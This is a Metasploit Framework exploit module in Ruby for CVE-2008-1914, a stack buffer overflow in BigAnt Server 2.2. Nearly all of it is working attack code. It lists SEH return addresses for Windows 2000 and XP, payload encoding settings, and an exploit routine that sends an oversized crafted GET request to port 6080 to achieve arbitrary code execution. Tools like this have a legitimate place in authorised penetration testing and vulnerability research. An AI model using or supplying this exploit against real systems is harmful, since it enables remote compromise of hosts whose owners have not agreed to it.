BigAnt Server 2.2 - Buffer Overflow

                                                ##
# $Id: bigant_server.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BigAnt Server 2.2 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in BigAnt Server 2.2.
				By sending a specially crafted packet, an attacker may be
				able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-1914' ],
					[ 'OSVDB', '44454' ],
					[ 'BID', '28795' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro All English',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Apr 15 2008'))

		register_options([Opt::RPORT(6080)], self.class)
	end

	def exploit
		connect

		sploit =  "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(1024 - payload.encoded.length)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\n\n")

		handler
		disconnect
	end

end